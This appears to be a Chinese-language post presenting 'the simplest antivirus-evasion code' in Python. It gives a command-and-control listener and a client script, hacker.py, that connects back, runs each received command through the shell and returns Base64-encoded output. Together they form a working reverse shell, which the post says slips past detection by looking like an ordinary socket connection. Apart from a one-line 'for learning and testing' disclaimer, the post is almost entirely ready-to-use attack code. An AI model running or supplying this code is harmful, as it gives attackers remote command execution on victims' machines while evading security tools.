[python]最简单免杀代码
代码仅用于学习和测试目的
就是一个正常的socket连接 所以根本不会识别
服务器端
import socket
import base64
def start_server(host='0.0.0.0', port=65432):
# 创建一个 TCP/IP 套接字
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定套接字到主机和端口
server_socket.bind((host, port))
# 监听连接请求
server_socket.listen()
print(f"正在 {host}:{port} 等待连接...")
conn, addr = server_socket.accept()
with conn:
print(f"连接来自 {addr}")
while True:
command = input("输入要发送的命令 (输入 'exit' 退出): ")
if command.lower() == 'exit':
print("服务器正在关闭...")
break
# 发送命令到客户端
conn.sendall(command.encode())
# 接收客户端的结果
data = conn.recv(1024)
if data: # 确保接收到数据
# 解码 Base64
output = base64.b64decode(data).decode('utf-8', errors='replace')
print(f"收到结果: {output}")
conn.close() # 关闭连接
server_socket.close() # 关闭服务器
if __name__ == "__main__":
start_server()
hacker.py
import socket
import subprocess
import base64
def start_client(host='0.0.0.0', port=65432):
# 创建一个 TCP/IP 套接字
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接到服务器
client_socket.connect((host, port))
try:
while True:
# 接收来自服务器的命令
command = client_socket.recv(1024).decode('utf-8', errors='replace') # 指定编码方式
if not command: # 如果没有接收到命令,则退出循环
print("没有接收到命令,客户端正在关闭。")
break
# 执行命令并获取结果
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
# 检查返回值并处理输出
if result.returncode == 0:
output = result.stdout
else:
output = result.stderr
# 确保输出不是 None,并进行 Base64 编码
if output:
# 将输出编码为 Base64
output_encoded = base64.b64encode(output.encode('utf-8')) # 明确指定 UTF-8 编码
client_socket.sendall(output_encoded) # 发送编码后的结果
else:
client_socket.sendall(b'') # 如果输出为空,发送空字节
finally:
client_socket.close() # 关闭连接
if __name__ == "__main__":
start_client()